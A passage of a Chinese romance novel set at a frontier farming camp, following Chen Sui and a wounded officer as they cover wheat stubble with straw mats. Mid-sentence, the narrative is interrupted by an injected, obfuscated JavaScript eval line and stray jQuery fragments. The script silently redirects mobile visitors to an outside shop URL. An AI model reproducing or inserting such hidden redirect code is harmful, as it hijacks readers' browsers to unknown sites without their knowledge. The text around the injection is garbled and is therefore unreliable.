陈穗回到河西的那天傍晚，天气比走的时候凉了一些。她骑马进了营门，把缰绳递给迎上来的马夫，朝麦田方向看了一眼——草帘还没盖，三百亩茬地赤裸裸地铺在那里，在暮色里泛着干燥的浅褐色。她站在营门口看了一下，没有立刻去地里。她先回了帐里把包袱放下，从怀里掏出那片新竹简跟其他三片并排放好，确认了它们都还在，然后站起来走到田埂边蹲下，抓了一把土握在掌心里。土的湿度正好，新翻过的茬地还带着一层细碎的松散感，手一捏就碎。她蹲在那儿把手掌里那撮土慢慢捻碎了，然后站起来拍了拍手，回帐里烧水洗漱，躺下去。
第二天她开始盖草帘。北面那三十亩先盖，因为那里地势略高、风更大。她一个人盖了两天，带着木棍老兵和几个残兵把第一批草帘铺完了。盖到第三天下午的时候，她正在田埂上弯腰拽平草帘的边角，听到营门那边传来马蹄声。她直起腰侧耳听了一下，辨别出那匹马的蹄音里有一道她熟悉的节奏——轻重缓急之间的间歇、踩落沙土时特有的那种沉稳的低鸣。她听了一会儿，然后低下头继续盖手里的草帘。她没有抬头去看，但她铺草帘的动作比刚才快了一点，拽平边角的力度也稳了一些。
马蹄声在田埂另一头停住了。她低着头继续盖完了手里这张草帘，铺好、压边角、检查牢固度，才慢慢直起腰来。他正站在田埂另一头，身上没穿甲，一身深褐色的单衣，左臂上还缠着一层薄薄的白布但已经不像之前那样厚了。暮色从西面照过来把他的轮廓镀了一层柔和的光，他站在那儿看着她。两人隔着一片刚被草帘覆盖了一半的麦田对望着。
她先开口了：“回来得比我想的快。”
“伤好得差不多就回来了。”他说。
她站直了身子把衣摆上沾着的草屑拍掉，然后朝他走过去。走到他面前的时候停了一下，目光落在他左臂那层白布上，又移到他的脸上。他说：“军医说不用换了。再过几天拆了就行。”她点了点头没说别的，从他旁边走过去往营里走了两步，然后回过头来：“草帘还剩南边那一片。你要是有空就过来盖。”他也点了点头没有回答，但她转身继续走的时候听见他跟上来的脚步。两人一前一后走在田埂上，中间隔了大约两步的距离。她没有刻意放慢速度等他并排，他也没有刻意追上来。但两人的速度是一致的，一前一后，保持着那个距离走过了整条田埂。她进帐之前回了一下头，他正站在岔路口看着她的方向。暮色已经把一切都揉进了同一层暗金色的光线里，他站了一息然后转身往主帐方向走去。
主帐的灯当天晚上亮了。陈穗坐在自己帐里看着那道从主帐方向透过来照在地上的灯光，橘黄色的，安静地铺在地面上，像一小片温暖的水面。她看了片刻然后吹了自己帐里的灯，躺了下去。
第二天第三天他都来帮她盖草帘。两人从早干到晚没什么多余的话，各自铺各自的那一段，偶尔在边角重叠的地方互相配合一下。第四天草帘盖完了。第五天他开始跟她一起去巡田，她弯腰检查麦茬的腐熟程度时他就在旁边站着看着。第六天他帮她把那架轴承偏了半寸的水车重新校准了，她递扳手的时候两人手指碰了一下，都停顿了一秒然后各自收回。第七天的傍晚，陈穗在地里忙完最后一件事，站起来准备往回走的时候发现他正站在地头等她。手里拎着她的水囊——不知道什么时候拿走的，她喝了两口才意识到他给她续满了才递过来。
“明天回营里清理军务，可能要忙几天。”他说，“地里的活你先自己干。”
“嗯。”她接过水囊喝了一口放回他手里，“我这边不急。你先忙。”
他没有走开。他站在地头看着远处暮色里被草帘覆盖好的麦田，那些覆盖在茬地上的草帘把整片地铺成了一面浅灰色的缓坡，一直延伸到远处的矮坡脚下才止住。两个人并肩站在田埂上看着那片覆盖好的土地，他的左臂垂在身侧，指尖离她的手只有不到一拳的距离。然后他开口说了一句她没完全料想到的话：“你走了之后，我把你木盒里剩的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920797|213459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那片也拿走了。”
陈穗转过头看他：“剩的那片？”
“你之前木盒里放的。你写了没带走的那些麻布片，后来我让亲卫把木盒捎过来，里面有一片你没有叠好，最上面的那一片。”
陈穗想起来了。那叠麻布片她写完之后有一部分没有送出去，留在木盒里放着。其中有一片她记得写的是——“等你回来看麦浪”。那是麦子刚抽穗的时候写的，她写了之后叠好放进了木盒里，后来事情一忙就忘记交出去了。再后来他从北边让亲卫把木盒捎过去的时候，她也没想起来里面还留着一片。
“你留着了？”她问。
“留了。”他顿了一下，“在怀里。”
两人又安静了一会儿。风从远处吹过来掠过草帘的表面发出细碎的摩擦声。她没有追问“在怀里”是什么意思，也没有问“留着”要留到什么时候。她只是站在他旁边看着同一片麦田，过了片刻，开口说了一句话：“那你回来之后，我陪你去看。”她说“陪你去看”，好像那片麦浪不是长在地里的东西，而是她替他保管着等他来取的东西。他听完沉默了几息，然后点了一下头。没有说好，但点了一下头。
暮色更深了一层。远处的祁连山脊线已经被暗蓝色吞掉了大半截，只剩最高处的几道棱线上还残留着一线暗金色的光，像一层极薄的箔纸贴在山的边缘上。两人并肩站着看着那道正在消逝的光线，他的手垂在身侧，左手手指微微动了一下，但没有伸过去碰她。她也没有伸过去。但两人站的位置比刚才近了一点点，近到肩膀之间那拳宽的距离变成了一指宽的距离，再近一点就能碰到但还没碰到。
黑暗慢慢漫上来把整片麦田都收进去。营地那边的灯火已经亮得很齐全了，饭堂的烟火气顺着风飘过来，混着草帘和干麦秆的气味，还有远处水车停转之后轴轮间残余的水汽。他先转过了身：“回去吃饭。”
她在他身后跟上了。两人一前一后走在田埂上，晚风从背后推着两人往前走。